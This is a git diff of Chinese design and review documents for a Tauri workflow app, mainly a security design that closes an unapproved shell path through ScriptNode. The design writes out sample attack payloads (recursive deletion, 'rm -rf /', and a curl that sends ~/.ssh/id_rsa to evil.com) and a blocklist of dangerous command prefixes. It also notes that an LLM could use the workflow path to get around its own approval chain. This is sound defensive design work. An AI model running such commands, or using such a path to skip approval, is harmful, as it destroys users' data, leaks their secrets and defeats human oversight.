-`project.ts:214` `payload.event?.type === 'HumanApprovalRequest'`大驼峰vs 后端 `events.rs:18` `#[serde(tag="type", rename_all="snake_case")]` → 序列化值 `'human_approval_request'`,永不匹配。
-`project.ts:215` `payload.event.data` —— event 是 `WorkflowEvent` 本体扁平结构(`{type, execution_id, node_id, title, description, options}`),无 `data` 包装层 → undefined。
- 两者代码层面确凿,但 Request 未发(§0 遮蔽) → 前端收不到事件 → 分支不可达。**修 41 行后 ①② 立即变 critical**。
### 1.2 当前 UI 无 human 节点入口(多数发现现实触发率=0
| 证据 | 位置 |
|------|------|
| 前端唯一 DAG = demoDag仅 3 个 script 节点 | `ProjectDetail.vue:271-273` |
| AI 工具 run_workflow 返回提示不执行 DAG | `tool_registry.rs:346-350` |
| runDemoWorkflow 按钮 disabled=workflowRunning 防重入 | `ProjectDetail.vue:281-289` |
→ 审批相关发现(①②④⑤⑦⑧⑨⑩)全部潜伏在未接入路径。
---
## 2. 逐条对抗裁定
| # | 定位 | 存在性(代码层) | 现实可达性 | 危害校正 | 裁定 |
|---|------|---------------|-----------|---------|------|
| **0** | human_node.rs:41 | 确凿 缺await | human DAG 运行即必现UI 无入口 | Request 不发,链最上游断 | **真·潜伏头号 P0** |
| ① | project.ts:214 | 确凿 snake_case | 被0遮蔽+无human入口 | 潜伏修0后才显形 | 降级: 当前不可达 |
| ② | project.ts:215 | 确凿 flat无data | 同① 双重遮蔽 | 潜伏 | 降级: 同① |
| ③ | workflow.rs:67-97 | 确凿 全局bus+Node*无exec_id+matches!只看变体 | 需并发工作流UI防重入+AI不执行 | 审批路由不坏(Request自带exec_id),仅日志串扰+提前break | 真实架构缺陷现实触发0危害被夸大 |
| ④ | project.ts:15-21 | 确凿 单槽 | 三重遮蔽(0+无入口+单流) | 潜伏 | 真实,潜伏 |
| ⑤ | project.ts:208-261 | 确凿 无终态监听 | 同④;"稍后"按钮可视觉关 | UX退化非卡死 | 真实,危害偏低 |
| ⑥ | state.rs:106 | 确凿 直接insert | 需⑦竞态命中 | snapshot()零调用方(死代码)DB不受影响 | **真实但无害** |
| ⑦ | project.ts:228 | 确凿 无互斥 | 需0+①②+入口全通+双击+500ms窗口 | 窄窗口 | 真实,潜伏 |
| ⑧ | workflow.rs:171 | 确凿 无校验(对比cancel有registry守卫) | 需human+超时窗口 | 诊断损失非功能损坏 | 真实,潜伏 |
| ⑨ | human_node.rs:73-81 | 确凿 warn+continue | 需256积压当前无节点发NodeProgress每节点≤2事件需128+并发节点 | 概率近0 | 真实,当前不可达 |
| ⑩ | workflow.rs:91-97 | 确凿 Lagged+Closed死代码(bus持于AppState全程) | 同⑨ 需256积压 | DB终态仍正确仅task泄漏 | 真实,当前不可达 |
| ⑪ | workflow.rs:140 | 确凿 String::new() | demoDag失败即触发 | 低危: error字段含first_err.context"节点X失败"failed_node冗余空 | **真实且当前可达,危害低** |
---
## 3. 根因
审批功能前端从未端到端验证。证据链:
1. `B-260614-03a` 重写 HumanNode `execute`(subscribe→send→select!) 时引入 `:41` await 缺失7 单测全绿未抓(单测不覆盖 Request 发出)。
2. 前端无 human 节点 DAG 入口,无任何集成测试覆盖 human→弹窗→审批→返回链路。
3. ①② 是前后端契约层断裂,`types.ts:127` `event.type: string` 弱类型无编译期拦截。
→ 单测绿 + 无端到端测试 = 这批潜伏 bug 的存活土壤。
---
## 4. 修复优先级
| 序 | 动作 | 优先级 | 依赖 | 会暴露 |
|---|------|--------|------|--------|
| 1 | 补 human 节点端到端集成测试(含human的DAG→运行→断言前端收到Request+弹窗开) | P0 | 无 | 0+①+② |
| 2 | human_node.rs:41 加 .await | P0 | 测试暴露后修 | — |
| 3 | project.ts:214 type→snake_case; :215 取 event 本体字段; types.ts event.type 收窄字面量联合 | P0(修2后) | 2 | — |
| 4 | ③ Node*事件补 execution_id + 转发过滤 | P2 | 并发工作流时 | — |
| 5 | ④⑤ pendingApproval 改 Map + 终态清空 | P2 | 2③后 | — |
| 6 | ⑥ set_cancelled 查终态 no-op | P3 | 无(无消费者零危害) | — |
| 7 | ⑦⑧⑨⑩⑪ | P2-P3 | 见§2 | — |
---
## 附: 多代理 workflow 元数据
- 31 agents / 5 维度(concurrency / state-machine / error-handling / lifecycle / frontend-contract) × 对抗验证
- 26 原始发现 → 12 确认 / 11 反驳 / 3 验证代理因 API 限流未跑(主代理手动补判)
- 验证阶段正确识别 `executor.rs:124` 三条为 not-a-bug(B-03b-R1 已修,`:127` 有 is_cancelled guard + test_cancelled_node_skips_set_failed)
- 漏抓头号(§0): 因未核 send await主代理二轮复核补

View File

@@ -0,0 +1,255 @@
# 工作流脚本执行边界设计R-PD-2
> 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2
> 日期2026-06-15
> 状态:设计待核对(推荐方案已定,落地前需用户确认力度)
---
## 一、问题run_workflow IPC 经 ScriptNode 执行前端任意 shellsecurity P1
### 1.1 攻击面分析(前端 IPC → 任意 shell 的完整路径)
```
前端 runWorkflow(name, dag, config)
└─ invoke('run_workflow', { name, dag: DagDef, config }) ← IPC 边界dag 为前端任意构造的 serde JSON
└─ src-tauri/commands/workflow.rs:36 run_workflow
├─ state.registry.build_dag(&dag) ← 仅校验节点类型已注册 + 边两端存在
└─ DagExecutor::new(...).run(&runtime_dag, config) ← 异步后台执行
└─ ScriptNode::execute(ctx) [crates/df-nodes/script_node.rs:11]
├─ command = ctx.config["command"] ← 原始字符串,无校验
└─ ShellRequest { command, working_dir, .. }
└─ df_execute::shell::execute [crates/df-execute/shell.rs:34]
├─ Windows: cmd /C <command>
└─ Unix: sh -c <command> ← 全 shell 解释器,含管道/重定向/通配
```
前端可提交任意 `DagDef`
```ts
// 等价攻击载荷(任一)
{ nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] }
```
`build_dag``crates/df-workflow/registry.rs:42`)只做两类校验:
1. `node_type` 已注册("script"/"human"/"ai")——攻击者用合法的 "script"
2. 边的 source/target 节点存在——单节点 DAG 无边,零约束通过
**对 `config.command` / `config.working_dir` 无任何校验**,直接落到 shell 解释器。
### 1.2 为何完全独立于 AI 工具 RiskLevel 审批链
DevFlow 有两条独立的「前端 → 后端可执行」通路,安全机制割裂:
| 通路 | 入口 | 风控机制 | 审批位置 |
|------|------|---------|---------|
| **AI 工具调用**LLM 驱动) | agentic loop → `AiToolRegistry` | `RiskLevel::{Low, Medium, High}` | `audit.rs:265-271`Medium/High 写入 `AiSession.pending_approvals`,前端 ToolCard 阻塞审批 |
| **工作流执行**(前端直接驱动) | `run_workflow` IPC → DagDef | **无** | DagDef 无 RiskLevel 字段ScriptNode 不查 pending_approvals |
关键不对称点:
- AI 工具调 shell 走 `execute_command`tool_registry.rs**RiskLevel::High + 审批**
- 工作流 ScriptNode 调 shell 走 `df_execute::shell::execute`**零风控**
- 两条通路最终都落到同款 `cmd /C | sh -c`,但前者有闸门、后者无闸门
更隐蔽的二次风险AI 工具 `run_workflow``tool_registry.rs:383-389`)本身是 RiskLevel::High 且**目前是 no-op 桩**R-PD-12LLM 即使调用也只拿到 `{ note: "请通过工作流页面运行" }`。但 **LLM 若未来引导用户提交特定 DagDef 到 `run_workflow` IPC**(绕过 AI 工具桩),就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时,本设计的边界必须先就位,否则等于给 LLM 开了一条绕过自己审批链的暗道。
---
## 二、现状
### 2.1 DagDef 前端构造,无后端校验
`DagDef``crates/df-workflow/dag_def.rs:7-11`)是纯数据结构:
```rust
pub struct DagDef {
pub nodes: HashMap<String, NodeDef>, // node_type: String, config: serde_json::Value
pub edges: Vec<EdgeDef>,
}
```
`run_workflow``workflow.rs:36`)收 `dag: DagDef` 参数Tauri 反序列化后直接 `build_dag`。前端唯一构造点是 `src/views/ProjectDetail.vue:258-268``demoDag`
```ts
const demoDag = {
nodes: [
{ id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } },
{ id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } },
{ id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } },
],
edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }],
}
```
**全仓 grep 确认:除 demoDag 外,前端无任何其他 script 节点构造点,无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。**
### 2.2 ScriptNode 无约束
`crates/df-nodes/script_node.rs:11-42`:从 `config.command` 取原始串,原样塞 `ShellRequest.command``working_dir` 也原样透传。无白名单、无路径锚定、无审批查询。
### 2.3 shell 解释器全权委托
`crates/df-execute/shell.rs:37-45``cmd /C <command>` / `sh -c <command>`,命令字符串经完整 shell 解释器管道、重定向、变量展开、通配、命令分隔符全开。R-P1-2 已修 kill_on_drop僵尸进程问题但不影响安全边界。
---
## 三、方案三选一详析
### 方案 ①build_registry 不注册 "script",掐断节点类型(最安全最小)
**做法**`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)``build_dag` 遇到 `node_type=="script"``registry.rs:37``未注册的节点类型` 分支直接 bail。
**四维对比**
| 维度 | 评价 |
|------|------|
| 安全性 | **最高**。攻击面从「任意 shell」直接归零无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题 |
| 功能性 | **演示功能报废**`ProjectDetail.vue` demoDag 三步 echo 全部 `build_dag` 失败,`runDemoWorkflow` 报错。HumanNode/AiNode 不受影响(仍注册) |
| 改动面 | **最小**。1 处删除state.rs:227-229 共 3 行)。可选附带:前端 demoDag 改用 "human" 节点演示,或整个 demoDag 下线 |
| 误杀风险 | **零误杀**无合法用户脚本可误杀。但等于宣告「DevFlow 工作流不支持脚本节点」,是产品决策 |
### 方案 ②:限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批
**做法**
- ScriptNode 执行前,校验 `working_dir`(默认取 NodeContext 的项目 path必须 `canonicalize()` 后落在某已绑定项目根下(防 `../` 逃逸)
- 命令前缀扫描:`del /``rm -rf``curl``wget``> /dev/``mkfs``format` 等命中 → 改走 HumanNode 审批流程emit `HumanApprovalRequest`,复用现有 `approve_human_approval` IPC
**四维对比**
| 维度 | 评价 |
|------|------|
| 安全性 | **中**。挡住工作目录外写、明显高危前缀。但**前缀黑名单天然不完备**`curl` 可写成 `c""url``$(curl)``cu"+"rl`、PowerShell 别名 `iwr`;管道注入 `echo x; rm -rf /`;环境变量展开 `$EVIL`。攻击者绕过黑名单的成本远低于维护黑名单的成本 |
| 功能性 | **保留构建脚本能力**(未来真要跑 `npm run build` / `mvn package` 可用),且高危操作有审批兜底 |
| 改动面 | **大**。ScriptNode 加路径校验canonicalize + starts_with+ 黑名单扫描 + 审批注入逻辑ScriptNode 不再是叶子执行,要会发 HumanApprovalRequest 并阻塞等 Response复用 human_node.rs 的 select! 模式,~80 行) |
| 误杀风险 | **高且无解**。合法 `npm run deploy` 含 "deploy" 不命中黑名单但实际可能外发;合法 `git clean -fd` 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀,无优雅平衡点 |
### 方案 ③ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤
**做法**:定义允许的命令前缀(`npm``git``mvn``cargo``echo``node` 等),命令必须以白名单前缀开头;参数层过滤 `;``&&``|``$()`、反引号等 shell 元字符。
**四维对比**
| 维度 | 评价 |
|------|------|
| 安全性 | **中高**。比黑名单强(默认拒绝)。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义,**已知是不可解问题**参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过)。且白名单命令自身有副作用(`git push``npm publish``cargo run -- <任意>` |
| 功能性 | **受限**。只能跑白名单内的命令族,`echo` 演示能保,但任意 shell 管道/组合命令报废 |
| 改动面 | **中**。ScriptNode 加白名单匹配(~30 行)+ 参数 sanitizer~50 行,且 sanitizer 难写对) |
| 误杀风险 | **高**。合法 `npm run build && npm run test``&&` 过滤误杀;合法 `git log --grep="feat | fix"` 被管道符误杀 |
---
## 四、推荐方案:①(不注册 "script"),前端 demoDag 同步下线
### 4.1 推荐 + 理由
**推荐方案 ①**:删除 `src-tauri/src/state.rs:227-229` 的 "script" 注册,同步下线 `ProjectDetail.vue` 的 demoDag或改用 "human" 节点演示审批流)。
**核心取舍**DevFlow 工作流当前是纯演示功能(前端唯一构造点是三步 echo demoDag无任何真实构建/部署/迁移脚本入口),而方案 ②③ 的安全机制(黑名单/参数过滤)本质是**不完备的运行时博弈**——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下,方案 ① 用一行删除换攻击面归零,性价比远超另两方案。
**触发升力的条件**:若未来 DevFlow 要把工作流做成真实 CI/CD跑项目构建/部署脚本),此时**不应回头启用 ScriptNode + 加黑名单**,而应**新建一个独立的安全执行节点**(如 `BuildNode`),从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说方案 ① 不是「放弃脚本能力」,而是「把脚本能力延后到真正需要时,用专门节点一次性做对」。
### 4.2 改动面(具体函数 + 行号)
**后端(必须)**
`src-tauri/src/state.rs:225-237` `build_registry`,删除 script 注册:
```rust
// 改前
fn build_registry() -> NodeRegistry {
let mut registry = NodeRegistry::new();
registry.register("script", |_config| {
Box::new(df_nodes::script_node::ScriptNode)
});
registry.register("human", |_config| { ... });
registry.register("ai", |_config| { ... });
registry
}
// 改后
fn build_registry() -> NodeRegistry {
let mut registry = NodeRegistry::new();
// "script" 节点不注册ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串,
// 前端可构造任意 DagDef 触达无审批 shellR-PD-2。DevFlow 工作流当前为纯演示
// 功能(前端唯一构造点 ProjectDetail.vue demoDag 三步 echo无真实构建/部署脚本
// 需求。需要脚本执行能力时新建独立 BuildNode白名单 + 项目目录锚定 + 复用 AI 工具
// RiskLevel 审批链),而非回头启用 ScriptNode + 黑名单。
registry.register("human", |_config| { ... });
registry.register("ai", |_config| { ... });
registry
}
```
效果:`run_workflow` 提交含 `node_type=="script"` 的 DagDef 时,`build_dag``registry.create``registry.rs:37``未注册的节点类型: script` bailIPC 直接返 Err不入库、不进后台执行。
**前端(必须,否则 demoDag 触发 build_dag 失败报错)**
`src/views/ProjectDetail.vue:258-278`,二选一:
- **a) 下线 demoDag**:删除 `demoDag` 常量 + `runDemoWorkflow` 函数 + 模板中的「运行演示工作流」按钮(最干净)
- **b) 改 human 节点演示**demoDag 改为单节点 human 审批流(演示审批 IPC 通路),保留「工作流页面」基本展示能力
推荐 a工作流演示能力本就单薄移除比换内容更诚实待真实工作流需求落地时一并重做
**保留不删**
- `crates/df-nodes/script_node.rs` 文件保留(不删 ScriptNode 实现),只把入口掐断。理由:未来 BuildNode 可复用其 `df_execute::shell::execute` 调用骨架;现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry见 R-PD-2 设计文档」
- `crates/df-execute/shell.rs` 完全保留R-P1-2 kill_on_drop 刚修,且 BuildNode 未来要用)
### 4.3 改动量与风险评级
- 后端3 行删除 + 1 段注释
- 前端:~25 行删除demoDag + runDemoWorkflow + 按钮)
- 风险:**极低**。功能面仅损失演示能力本就单薄无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回registry.rs:37前端 IPC 拿到 Err 正常展示。
---
## 五、风险与未决
### 5.1 本方案(①)的风险
| 风险 | 评估 |
|------|------|
| 演示功能报废影响产品认知 | 低。工作流本就是 Phase1 演示,且 HumanNode/AiNode 仍注册,审批流 + AI 节点链路仍可演示 |
| 未来需要脚本能力时回头启用 ScriptNode | **决策点**:见 §4.1,明确「新建 BuildNode不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script"),安全缺口原样回归——需在本设计文档 + 经验记录双锚定 |
| ScriptNode 死代码残留引发误解 | 中。需在 `script_node.rs` 顶部加注释指回本文档(已在 §4.2 列入改动面) |
### 5.2 若选 ②③ 会引入的风险(备选方案未选理由的展开)
- **白名单/黑名单误杀合法构建命令**`npm run deploy && git push` 这类组合命令天然被元字符过滤误杀,开发者反复碰壁后会推动放宽规则,最终规则松到形同虚设(业界 CI 逃逸史常见)
- **工作目录 canonicalize 逃逸**Windows 上 `\\?\C:\` 短路径、符号链接、junction、UNC 路径(`\\server\share`)均可绕过 `Path::starts_with`Unix 上 `~/``/proc/self/root` 逃逸。canonicalize 只解析 symlink不挡 mount boundary
- **审批链与 workflow 异步语义结合**ScriptNode 若改走 HumanNode 审批,意味着 ScriptNode 也要发 `HumanApprovalRequest` + select! 等 Response。但 ScriptNode 当前是叶子执行节点,引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做HumanNode 已踩过 TOCTOU 坑 R-P1-3再踩一遍成本高
---
## 六、关联
### 6.1 与 R-PD-12run_workflow AI 工具 no-op 桩)的协同
R-PD-12 处理 AI 工具 `run_workflow``tool_registry.rs:383-389`):当前 RiskLevel::High + no-op 返 `{ note: "请通过工作流页面运行" }`,前端 prompt/audit/ToolCard 当真实能力宣传,体验断裂。
**协同关系**
- 本方案R-PD-2先把 workflow 系统的 shell 边界封死(掐断 ScriptNodeR-PD-12 再决定 AI 工具 `run_workflow` 的去留才安全
- 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef此时 workflow 边界必须先就位(即本方案先行)
- 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死,安全闭合
- **顺序约束R-PD-2 先于 R-PD-12 落地**(或同批)。反过来 R-PD-12 先做实、R-PD-2 没做,等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道
### 6.2 与 shell.rs R-P1-2kill_on_drop的关系
R-P1-2已修解决的是 `shell::execute` 超时未 kill 子进程致僵尸/fd 泄漏(可靠性维度)。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」(安全维度)。
- 两者正交R-P1-2 让被允许执行的 shell 更可靠R-PD-2 让不该执行的 shell 根本不执行
- R-P1-2 已落地的 `kill_on_drop(true) + spawn + wait_with_output` 在本方案后**保留不变**shell.rs 完全不动,未来 BuildNode 复用)
- 即使本方案掐断 ScriptNodeshell.rs 的修复仍有价值BuildNode 未来会调它,且修复本身是独立可靠性提升
---
## 七、落地动作清单
- [ ] 后端:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)` + 加决策注释
- [ ] 后端:`crates/df-nodes/script_node.rs` 顶部加注释「当前未注册到 NodeRegistry见 docs/02-架构设计/工作流脚本执行边界-2026-06-15.md」
- [ ] 前端:`src/views/ProjectDetail.vue` 下线 demoDag + runDemoWorkflow + 模板按钮(推荐 a
- [ ] 文档:本设计文档归档到 `docs/02-架构设计/`
- [ ] 决策记录补一条功能决策记录ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径)
- [ ] todoR-PD-12 标注「依赖 R-PD-2 先落地」
- [ ] 经验记录:黑名单/参数过滤方案为何不选(业界 CI 逃逸史 + 不完备博弈),避免未来误走回头路

View File

@@ -24,10 +24,10 @@
|---|---|---|
| `PROGRESS.md`(根级) | 工作流水:Sprint 做了啥 / 遗留 / 下一步 | 决策原因、实现细节、需求规格 |
| `ARCHITECTURE.md` | 系统架构全貌:crate 结构 / 数据模型 / Phase 规划 | 功能点取舍、Sprint 流水 |
| `02-架构设计/Phase1架构决策.md` | 架构级选型(ADR,系统级) | 功能实现层取舍 |
| `02-架构设计/功能决策记录.md` | 功能**需求规格 + 设计决策规格**(为什么这么定 + 要做什么) | 流水、架构级选型、经验性内容 |
| `02-架构设计/经验记录.md` | 经验性内容(踩坑/约定/技巧/bug 排查教训) | 决策、需求、流水 |
| `02-架构设计/功能决策记录-归档.md` | 纯流水/老 Sprint/UX 微调/已被取代(归档只读) | (不再维护更新) |
| `02-架构设计/Phase1架构决策-2026-06-12.md` | 架构级选型(ADR,系统级) | 功能实现层取舍 |
| `02-架构设计/功能决策记录-2026-06-14.md` | 功能**需求规格 + 设计决策规格**(为什么这么定 + 要做什么) | 流水、架构级选型、经验性内容 |
| `02-架构设计/经验记录-2026-06-14.md` | 经验性内容(踩坑/约定/技巧/bug 排查教训) | 决策、需求、流水 |
| `02-架构设计/功能决策记录-归档-2026-06-14.md` | 纯流水/老 Sprint/UX 微调/已被取代(归档只读) | (不再维护更新) |
| `03-模块文档/*.md` | 各 crate 实现细节(单模块内) | 跨模块决策、流水 |
| `04-功能迭代/DEVFLOW-N.*.md` | 功能开发过程记录(一次性,开发期) | 持续维护的决策 |
| `05-代码审查/*.md` | 审查报告与发现 | (若成决策 → 转记功能决策记录) |
@@ -43,14 +43,14 @@
| 你要记的内容 | 主文档(优先写) | 按需交叉引用 |
|---|---|---|
| 本 Sprint 做了啥 / 遗留 | `PROGRESS.md` | `04-功能迭代/`(详过程) |
| 为什么这么实现(选 A 不选 B) | `功能决策记录.md` | 模块文档、PROGRESS |
| 踩坑 / 约定 / 技巧 / bug 排查教训 | `经验记录.md` | 功能决策记录 |
| 架构级选型 | `Phase1架构决策.md` / `ARCHITECTURE.md` | — |
| 新需求 / 待办 / 功能规格 | `功能决策记录.md`(需求维度) | `Phase2计划.md` |
| 对话中需求澄清(原以为 X 实为 Y) | `功能决策记录.md`(需求澄清) | — |
| 老 Sprint 决策 / UX 微调 / 已被取代 | `功能决策记录-归档.md` | (归档只读,不再维护) |
| 为什么这么实现(选 A 不选 B) | `功能决策记录-2026-06-14.md` | 模块文档、PROGRESS |
| 踩坑 / 约定 / 技巧 / bug 排查教训 | `经验记录-2026-06-14.md` | 功能决策记录 |
| 架构级选型 | `Phase1架构决策-2026-06-12.md` / `ARCHITECTURE.md` | — |
| 新需求 / 待办 / 功能规格 | `功能决策记录-2026-06-14.md`(需求维度) | `Phase2计划-2026-06-12.md` |
| 对话中需求澄清(原以为 X 实为 Y) | `功能决策记录-2026-06-14.md`(需求澄清) | — |
| 老 Sprint 决策 / UX 微调 / 已被取代 | `功能决策记录-归档-2026-06-14.md` | (归档只读,不再维护) |
| 单模块实现细节 | `03-模块文档/<对应>.md` | — |
| 代码审查发现 | `05-代码审查/` | 转决策 → `功能决策记录.md` |
| 代码审查发现 | `05-代码审查/` | 转决策 → `功能决策记录-2026-06-14.md` |
| 前端规范变更 | `06-前端开发/` | — |
| 用户操作说明 | `08-用户指南/` | — |
@@ -63,7 +63,7 @@
3. **引用处加交叉链接**,不抄正文
**例**:做了「shouldKeepOpen 折叠」
- 真相源:`功能决策记录.md` 写决策 / 原因 / 状态 ✅
- 真相源:`功能决策记录-2026-06-14.md` 写决策 / 原因 / 状态 ✅
- 流水:`PROGRESS.md` 记「审查①已落地」+ 链接到功能决策记录
- **不**在模块文档 / ARCHITECTURE 重复抄决策正文
@@ -92,7 +92,7 @@
**3. 配合交接文档(PROGRESS)**
- PROGRESS 是**交接文档**,只记「做了啥 + 链接」,不展开决策/需求正文
- 决策正文 → `功能决策记录.md`;需求 → `功能决策记录` 的「需求与待办」
- 决策正文 → `功能决策记录-2026-06-14.md`;需求 → `功能决策记录` 的「需求与待办」
- 交接路径:读 PROGRESS 知进度 → 读 `功能决策记录` 知「为什么 + 要做什么」→ 读模块文档知「怎么实现」
**4. 定期唯一性扫描(防积累散乱)**
@@ -115,7 +115,7 @@
`decision-record` skill 触发时,按本规范路由:
- **决策 / 需求** → `功能决策记录.md`(主,真相源)
- **决策 / 需求** → `功能决策记录-2026-06-14.md`(主,真相源)
- skill 执行后 → `PROGRESS.md` 加一笔流水 + 链接(可选,重大决策才加)
Stop hook 触发 skill 时同理,不另立记录位置。
@@ -161,7 +161,7 @@ Stop hook 触发 skill 时同理,不另立记录位置。
**相关文档**:
- `docs/INDEX.md` — 文档导航
- `docs/02-架构设计/功能决策记录.md` — 需求规格 + 设计决策规格(本规范的主要应用对象)
- `docs/02-架构设计/经验记录.md` — 踩坑/约定/技巧/bug 排查教训
- `docs/02-架构设计/功能决策记录-归档.md` — 归档只读(纯流水/老 Sprint/UX 微调)
- `docs/02-架构设计/功能决策记录-2026-06-14.md` — 需求规格 + 设计决策规格(本规范的主要应用对象)
- `docs/02-架构设计/经验记录-2026-06-14.md` — 踩坑/约定/技巧/bug 排查教训
- `docs/02-架构设计/功能决策记录-归档-2026-06-14.md` — 归档只读(纯流水/老 Sprint/UX 微调)
- `PROGRESS.md` — 工作流水

View File

@@ -0,0 +1,256 @@
# 条件表达式引擎设计R-PD-3 / T-260614-11
> 来源:全局代码 review `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 需设计 R-PD-3 + 架构洞察第 4 条
> 性质:设计文档(供用户核对方案),不含实现
> 关联todo `T-260614-11 条件表达式引擎升级`、R-P2-13set_skipped/set_waiting 已删)
---
## 一、现状
### 1.1 ConditionEngine 从未被接线
`crates/df-workflow/src/conditions.rs:8` 定义了 `ConditionEngine::evaluate(expr, context) -> Result<bool>`,全仓 grep 确认:**除自身定义与单元测试外,零调用**。executor 从不调它build_dag 只把 `EdgeDef.condition` 原样写入 runtime `Edge.condition``registry.rs:62-69`),写入后无人消费。
### 1.2 executor 不区分条件边,无条件灌入前驱输出
`executor.rs:62-97` 构建 `adjacency_in: target → Vec<source>` 时丢掉 `edge.condition`,只保留 source/target随后 inputs 收集处(`executor.rs:91-97`
```rust
let mut inputs = HashMap::new();
if let Some(preds) = adjacency_in.get(node_id) {
for pred_id in preds {
if let Some(out) = outputs.get(pred_id) {
inputs.insert(pred_id.clone(), out.clone());
}
}
}
```
逐前驱无条件灌入。条件边与普通边行为完全相同。
### 1.3 topological_layers 把条件边计入入度
`dag.rs:81-90` 单次遍历边构建入度表,**不检查 `edge.condition`**。条件边 target 的入度照常 +1BFS 分层照常把它放入某层。
### 1.4 复现:`add_edge_with_condition("a","c","false")` 实际 c 永远执行
构造 a → ccondition="false")的 DAG
- `topological_layers`a 入度 0c 入度 1分层为 `[[a],[c]]`
- 第 0 层执行 a输出存入 `outputs["a"]`
- 第 1 层执行 c`adjacency_in["c"] = ["a"]``outputs["a"]` 存在 → `inputs = {"a": <a 的输出>}`c 照常 `execute`
- `ConditionEngine::evaluate("false", ...)` 本应返 `Ok(false)`,但**从无调用点**
即条件分支这一 DAG 核心能力整体失效,且对用户静默——前端编了条件边,运行结果与无条件等价,没有任何报错或告警。
---
## 二、根因
三个缺口叠加:
| 缺口 | 位置 | 表现 |
|------|------|------|
| ① expressions 仅 true/false 字面量 | `conditions.rs:16-33` | TODO 列了 JSON Path / 比较 / contains / and-or-not全未实现只认 `"true"`/`"false"` 两字面量 |
| ② executor 无 evaluate 调用 | `executor.rs:91-97` | inputs 收集不读 `edge.condition`,条件边与普通边行为相同 |
| ③ topological_layers 计入条件边入度 | `dag.rs:81-90` | 条件边 target 的入度照常 +1BFS 照常分层调度 |
review 第 49 行给的修复方向("executor inputs 收集处用 ConditionEngine.evaluate 过滤topological_layers 前过滤无效边或执行时按条件短路 target 为 Skipped")指向 ②③,本文档补全 ①(表达式能力)与 ③ 短路后的终态机制(**set_skipped 已删**,需设计替代,见 §五)。
---
## 三、表达式引擎方案
### 3.1 现状能力
`ConditionEngine::evaluate` 当前支持:
- `"true"` / `"false"` 字面量(区分大小写,先 `trim()` 去首尾空白)
- 其余一律 `Ok(false)` + warn保守拒绝B-260614-02 已修,默认 true→false
### 3.2 支持范围(目标语法)
工作流条件边的实际诉求是"据前驱节点输出决定下游是否执行"。最小可用集:
| 语法 | 示例 | 说明 |
|------|------|------|
| 字面量 | `true` / `false` | 已有,保留 |
| 前驱输出访问 | `pred.output.status == 'completed'` | `pred` 为前驱节点 id`output` 为其 `NodeOutput` 序列化后字段;多前驱时需指定哪个前驱 |
| 比较 | `==` `!=` `>` `>=` `<` `<=` | 字符串等值 + 数值大小 |
| 包含 | `pred.output.tags contains 'ai'` | 数组包含 / 字符串子串 |
| 逻辑组合 | `and` `or` `not` | 括号分组 |
| 真值判断 | `pred.output.flag` | 布尔字段直接判真(无比较运算符) |
`context: &Value` 入参签名已就位(当前 `_context` 未用)。扩展时把当前节点所有前驱输出按 `{ "<pred_id>": <NodeOutput serde> }` 拼成 context 传入即可。
### 3.3 引第三方 expr 库 vs 手写最小求值器
| 方案 | 优点 | 缺点 |
|------|------|------|
| **第三方 `evalexpr`** | 成熟、支持算术/逻辑/函数/变量API 简单(`eval_with_context`MITcrates.io 下载量稳定 | 新增依赖df-workflow 当前 0 expr 库workspace 也无);语义需对齐(其变量访问语法 `$var` vs 我们要的 `pred.output.x` 点路径);引入超出条件边需求的算术/函数能力,扩大攻击面(前端可构造任意表达式) |
| **第三方 `jsonpath_lib` + 自写比较** | JSON Path 标准成熟,路径表达力强 | 仍需自写比较/逻辑层;两套语法拼装复杂度高于纯手写 |
| **手写最小递归下降求值器** | 零新依赖;语法完全自定(直接支持 `pred.output.x`);能力边界可控(拒绝算术/函数,只留比较+逻辑+包含);~150 行可覆盖 §3.2 全部语法 | 自负维护(但语法面小,测试可固化)|
**取舍(推荐):手写最小求值器**
理由:
1. 条件边诉求面窄(比较 + 逻辑 + 包含 + 前驱输出访问),不需要通用表达式语言的算术/函数能力。
2. 前端可构造任意条件表达式run_workflow IPC 接 DagDef手写小语法面比引通用 expr 库的攻击面更可控——通用 expr 库默认支持函数调用/算术,需额外配置禁用。
3. df-workflow 当前是零外部表达式依赖的薄 crate引入 `evalexpr` 对一个"条件分支"单一能力偏重。
4. 若后续诉求扩张(如需要正则/数学函数),再评估切换第三方库,届时手写求值器的测试可作迁移回归基准。
